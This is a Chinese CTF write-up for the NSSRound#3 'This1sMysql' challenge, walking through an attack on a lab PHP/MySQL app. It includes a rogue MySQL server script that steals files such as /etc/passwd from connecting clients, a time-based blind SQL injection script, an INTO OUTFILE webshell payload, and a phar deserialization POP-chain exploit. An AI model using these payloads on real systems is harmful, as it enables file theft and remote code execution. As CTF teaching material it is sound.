[NSSRound#3 Team]This1sMysql
源码
<?php
show_source(__FILE__);
include("class.php");
$conn = new mysqli();if(isset($_POST['config']) && is_array($_POST['config'])){foreach($_POST['config'] as $key => $val){$value = is_numeric($var)?(int)$val:$val;$conn->set_opt($key, $value);}
}if(isset($_POST['mysql']) && is_array($_POST['mysql'])){$my = $_POST['mysql'];if($conn->real_connect($my['host'], $my['user'], $my['pass'], $my['dbname'], $my['port'])){echo "connect success";$conn->query("show databases;");}else{echo "connect fail";}}
else{include("function.php");
}$conn->close();
?>
先来看看怎么处理config参数的,首先必须是数组,然后foreach遍历赋值给$val
,如果是$var
是数字,则$val
转换成int型赋值给$value
否则按原始值赋值。然后执行set_opt($key, $value)
百度了一下,发现是mysqli_options函数的别称
那么我们分析下mysqli_options函数的参数
public mysqli::options(int $option, string|int $value): bool
刚好对应我们源码中的参数
option是可以修改的选项,注意是int型
而value是布尔值,这俩参数暂时还不知道如何利用
我们接着往下看,接收参数mysql包括对应键名进行sql数据库连接,可是我们并不知道具体的信息。结合提示Rogue-MySql-Server
,去网上搜到可以利用Mysql服务端反向读取客户端的任意文件
当然此原理利用的option是**
MYSQLI_OPT_LOCAL_INFILE
**。通过题目提供的mysql参数对我们本地机的Mysql服务端进行连接从而反向读取靶机的文件
我们前面分析过了参数config的作用,那么我们只需要开启该option设置为true即可
(我查的是9,但是参考wp中确实排在8)
config[8]=true
用来读取文件的脚本
from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter_rouge_mysql_sever_read_file_result = {}
_rouge_mysql_server_read_file_end = Falsedef checkVersionPy3():return not version_info < (3, 0)def rouge_mysql_sever_read_file(fileName, port, showInfo):if showInfo:log = getLogger(__name__)log.setLevel(INFO)tmp_format = StreamHandler()tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))log.addHandler(tmp_format)def _infoShow(*args):if showInfo:log.info(*args)# ================================================# =======No need to change after this lines=======# ================================================__author__ = 'Gifts'__modify__ = 'Morouu'global _rouge_mysql_sever_read_file_resultclass _LastPacket(Exception):passclass _OutOfOrder(Exception):passclass _MysqlPacket(object):packet_header = Struct('<Hbb')packet_header_long = Struct('<Hbbb')def __init__(self, packet_type, payload):if isinstance(packet_type, _MysqlPacket):self.packet_num = packet_type.packet_num + 1else:self.packet_num = packet_typeself.payload = payloaddef __str__(self):payload_len = len(self.payload)if payload_len < 65536:header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)else:header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)result = "".join((header.decode("latin1") if checkVersionPy3() else header,self.payload))return resultdef __repr__(self):return repr(str(self))@staticmethoddef parse(raw_data):packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])payload = raw_data[1:]return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)class _HttpRequestHandler(async_chat):def __init__(self, addr):async_chat.__init__(self, sock=addr[0])self.addr = addr[1]self.ibuffer = []self.set_terminator(3)self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN","Auth","Data","MoreLength","File"]self.state = self.stateList[0]self.sub_state = self.stateList[1]self.logined = Falseself.file = ""self.push(_MysqlPacket(0,"".join(('\x0a', # Protocol'5.6.28-0ubuntu0.14.04.1' + '\0','\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',))))self.order = 1self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']def push(self, data):_infoShow('Pushed: %r', data)data = str(data)async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)def collect_incoming_data(self, data):_infoShow('Data recved: %r', data)self.ibuffer.append(data)def found_terminator(self):data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)self.ibuffer = []if self.state == self.stateList[0]: # LENlen_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1if len_bytes < 65536:self.set_terminator(len_bytes)self.state = self.stateList[2] # Dataelse:self.state = self.stateList[3] # MoreLengthelif self.state == self.stateList[3]: # MoreLengthif (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':self.push(None)self.close_when_done()else:self.state = self.stateList[2] # Dataelif self.state == self.stateList[2]: # Datapacket = _MysqlPacket.parse(data)try:if self.order != packet.packet_num:raise _OutOfOrder()else:# Fix ?self.order = packet.packet_num + 2if packet.packet_num == 0:if packet.payload[0] == '\x03':_infoShow('Query')self.set_terminator(3)self.state = self.stateList[0] # LENself.sub_state = self.stateList[4] # Fileself.file = fileName.pop(0)# endif len(fileName) == 1:global _rouge_mysql_server_read_file_end_rouge_mysql_server_read_file_end = Trueself.push(_MysqlPacket(packet,'\xFB{0}'.format(self.file)))elif packet.payload[0] == '\x1b':_infoShow('SelectDB')self.push(_MysqlPacket(packet,'\xfe\x00\x00\x02\x00'))raise _LastPacket()elif packet.payload[0] in '\x02':self.push(_MysqlPacket(packet, '\0\0\0\x02\0\0\0'))raise _LastPacket()elif packet.payload == '\x00\x01':self.push(None)self.close_when_done()else:raise ValueError()else:if self.sub_state == self.stateList[4]: # File_infoShow('-- result')# fileContent_infoShow('Result: %r', data)if len(data) == 1:self.push(_MysqlPacket(packet, '\0\0\0\x02\0\0\0'))raise _LastPacket()else:self.set_terminator(3)self.state = self.stateList[0] # LENself.order = packet.packet_num + 1global _rouge_mysql_sever_read_file_result_rouge_mysql_sever_read_file_result.update({self.file: data.encode() if not checkVersionPy3() else data})# test# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)self.close_when_done()elif self.sub_state == self.stateList[1]: # Authself.push(_MysqlPacket(packet, '\0\0\0\x02\0\0\0'))raise _LastPacket()else:_infoShow('-- else')raise ValueError('Unknown packet')except _LastPacket:_infoShow('Last packet')self.state = self.stateList[0] # LENself.sub_state = Noneself.order = 0self.set_terminator(3)except _OutOfOrder:_infoShow('Out of order')self.push(None)self.close_when_done()else:_infoShow('Unknown state')self.push('None')self.close_when_done()class _MysqlListener(dispatcher):def __init__(self, sock=None):dispatcher.__init__(self, sock)if not sock:self.create_socket(AF_INET, SOCK_STREAM)self.set_reuse_addr()try:self.bind(('', port))except error:exit()self.listen(1)def handle_accept(self):pair = self.accept()if pair is not None:_infoShow('Conn from: %r', pair[1])_HttpRequestHandler(pair)if _rouge_mysql_server_read_file_end:self.close()_MysqlListener()_asyLoop()return _rouge_mysql_sever_read_file_resultif __name__ == '__main__':#fileName=需要读取文件,port=VPS随意开放的端口(注意端口不能为3306,原因为啥我忘了XD#不用在意SQL语句、账户、密码、选用的库,这些并不影响脚本运行for name, content in rouge_mysql_sever_read_file(fileName=["/etc/passwd"], port=1028,showInfo=True).items():print(name + ":\n" + content.decode())
我们只需要修改监听的端口以及读取的文件即可
直接python3 test.py
,然后脚本就开启监听
然后我们POST上传,注意ip和端口是我们内网穿透的
config[8]=true&mysql[host]=5i781963p2.yicp.fun&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=58265
成功读取
然后我们分别读取class.php和function.php
写个脚本恢复一下,把\n
和转义的\
都修改下
<?php
$filename = 'class.txt'; // 替换为要读取的文件路径$code = file_get_contents($filename);
$code = str_replace('\n', "\n", $code);
$code = str_replace('\\', "", $code);$file = 'class.php';
file_put_contents($file, $code);echo "代码已从文件 $filename 中恢复并写入文件:$file";
?>
先看看function.php
<?php
$mysqlpath = isset($_GET['mysqlpath'])?$_GET['mysqlpath']:'mysql.txt';if(!file_exists($mysqlpath)){die("NoNONo!");
}
else{$arr = json_decode(file_get_contents($mysqlpath));if($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)){echo "connect success";}else{echo "connect fail";}
}
?>
有file_get_contents函数可以读取文件
发现mysql.txt,访问一下得到
再来看看class.php,发现可以利用include去文件包含
<?php
class Upload {public $file;public $filesize;public $date;public $tmp;function __construct(){$this->file = $_FILES;}function __toString(){return $this->file["file"]["name"];}function __get($value){$this->filesize->$value = $this->date;echo $this->tmp;}
}
class Show{public $source;public $str;public $filter;public function __construct($file){$this->source = $file;$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';}public function __toString(){$content = $this->str[0]->source;$content = $this->str[1]->schema;return $content;}public function __get($value){$this->show();return $this->$value;}public function __set($key,$value){$this->$key = $value;}public function show(){$filename = $this->schema . $this->source;include($filename);}public function __wakeup(){if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') {$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';}if ($this->source !== 'default.jpg') {$this->source = 'default.jpg';}}
}
class Test{public $test1;public $test2;function __toString(){$str = $this->test2->test;return 'test';}function __get($value){return $this->$value;}function __destruct(){echo $this->test1;}}?>
我们的思路就是上传phar文件,然后利用function.php的参数mysqlpath去phar伪协议读取然后命令执行
可是关键点是我们并不知道flag的位置以及文件名,所以无法直接include包含flag,那么我们尝试写入一句话木马,然后include包含它实现RCE。思路正确的,那么我们先解决注入的目录路径,这里利用option的**MYSQLI_INIT_COMMAND
**来执行sql盲注
config[3]=select @@global.secure_file_priv
用于查询MySQL服务器的全局变量
secure_file_priv
的值。该变量指定了MySQL服务器上允许执行LOAD DATA INFILE
和SELECT ... INTO OUTFILE
语句的目录。
盲注脚本如下
import requests
import datetime
import stringurl="http://node4.anna.nssctf.cn:28086/"
path_dir=''for i in range(1,50):low = 41high = 130mid = (high + low) // 2while (low < high):payload = f"select if((ascii(substr((select @@global.secure_file_priv),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)data={"config[3]":payload}time1 = datetime.datetime.now()r = requests.post(url, data)time2 = datetime.datetime.now()time = (time2 - time1).secondsif time > 1:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 41 or mid == 130):breakpath_dir += chr(mid)print('目录为:{}'.format(path_dir))
得到目录为/nssctf
然后利用刚刚得到的数据库信息来写入木马
config[3]=select '<?=eval($_POST[1])?>' into outfile '/nssctf/shell.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306
接下来就是构造phar包,通过into dumpfile
上传到/nssctf
pop链子如下
Test::__destruct() -> Show::__toString() -> Upload::__get() -> Test::__toString() -> Show::__get() -> Show::show()
这里要构造的是include('/nssctf/shell.php');
exp
<?php
class Upload {public $file;public $filesize;public $date;public $tmp;
}
class Show{public $source;public $str;public $filter;
}
class Test{public $test1;public $test2;}$a=new Test();
$b=new Show();
$a->test1=$b;
$c0=new Upload();
$c1=new Upload();
$b->str[0]=$c0;
$b->str[1]=$c1;
$d=new Show();
$c0->filesize=$d;
$c1->filesize=$d;
$c0->date="shell.php";
$c1->date="/nssctf/";
$e=new Test();
$c0->tmp=$e;
$c1->tmp=$e;
$e->test2=$d;$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
由于phar文件包含不可见字符,所以我们可以在本地把它转换成十六进制
然后利用into dump的语法写入二进制文件
语法区别
SELECT ... INTO OUTFILE
将查询结果以文本格式写入文件。结果中的每一行对应查询结果的一行,列之间使用制表符分隔。SELECT ... INTO DUMPFILE
将查询结果直接以二进制格式写入文件。结果不会使用制表符或其他分隔符进行格式化。
最后就是phar读取文件,在env找到flag